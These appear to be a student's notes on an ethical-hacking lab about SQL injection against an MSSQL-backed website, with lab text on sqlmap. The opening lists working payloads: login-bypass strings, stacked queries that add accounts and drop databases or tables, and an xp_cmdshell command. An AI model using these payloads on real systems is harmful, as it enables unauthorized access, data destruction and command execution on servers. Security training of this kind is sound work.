Lab 1: Perform SQL Injection Attacks

https://pastebin.com/PXWY6UJp

SQL Injection Attacks

- blah' or 1=1 -- = login to website with fake login hack

- blah';insert into login values ('john','apple123'); -- = create a user account using the SQL injection query

- Username: john Password: apple123 click login = login info you created with prior command

- blah';create database mydatabase; -- = Creates a database in their system mydatabase is the name of the database can be anything

- blah'; DROP DATABASE mydatabase; -- = deletes any database in this case mydatabase the one I made ex(goodshopping, moviescope, dwqueue, dwdiagnostics, dwconfiguration, master, model, msdb, tempdb

- blah'; DROP TABLE table_name; -- = delete a table from the victim website table name is the name of the table basic table names (System Tables, FileTables, External Tables, Graph Tables, dbo.login, columns, keys, constraints, triggers, indexes, statistics)

- blah';exec master..xp_cmdshell 'ping www.certifiedhacker.com -l 65000 -t'; -- = pinging the www.certifiedhacker.com website using an SQL injection query. -l is the sent buffer size and -t refers to pinging the specific host.

extra sql injections

if you find any login page I will try SQLi manually=

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1—

Lab Scenario

SQL injection is an alarming issue for all database-driven websites. An attack can be attempted on any normal website or software package based on how it is used and how it processes user-supplied data. SQL injection attacks are performed on SQL databases with weak codes that do not adequately filter, use strong typing, or correctly execute user input. This vulnerability can be used by attackers to execute database queries to collect sensitive information, modify database entries, or attach malicious code, resulting in total compromise of the most sensitive data.

As an ethical hacker or pen tester, in order to assess the systems in your target network, you should test relevant web applications for various vulnerabilities and flaws, and then exploit those vulnerabilities to perform SQL injection attacks.

Lab Objectives

Perform an SQL injection attack on an MSSQL database
Perform an SQL injection attack against MSSQL to extract databases using sqlmap

Overview of SQL Injection

SQL injection can be used to implement the following attacks:

Authentication bypass: An attacker logs onto an application without providing a valid username and password and gains administrative privileges
Authorization bypass: An attacker alters authorization information stored in the database by exploiting SQL injection vulnerabilities
Information disclosure: An attacker obtains sensitive information that is stored in the database
Compromised data integrity: An attacker defaces a webpage, inserts malicious content into webpages, or alters the contents of a database
Compromised availability of data: An attacker deletes specific information, the log, or audit information in a database
Remote code execution: An attacker executes a piece of code remotely that can compromise the host OS

Task 1: Perform an SQL Injection Attack on an MSSQL Database

Microsoft SQL Server (MSSQL) is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

Here, we will use an SQL injection query to perform SQL injection attacks on an MSSQL database.

An SQL injection query exploits the normal execution of SQL statements. It involves submitting a request with malicious values that will execute normally but return data from the database that you want. You can “inject” these malicious values in the queries, because of the application’s inability to filter them before processing. If the values submitted by users are not properly validated by an application, it is a potential target for an SQL injection attack.

In this lab, the machine hosting the website (the Windows Server 2019) is the victim machine; and the Windows 10 machine will perform the attack.

Task 2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap

sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features, and a broad range of switches—from database fingerprinting and data fetching from the database to accessing the underlying file system and executing commands on the OS via out-of-band connections.

You can use sqlmap to perform SQL injection on a target website using various techniques, including Boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band SQL injection.

In this task, we will use sqlmap to perform SQL injection attack against MSSQL to extract databases.

In this lab, you will pretend that you are a registered user on the http://www.moviescope.com website, and you want to crack the passwords of the other users from the website’s database.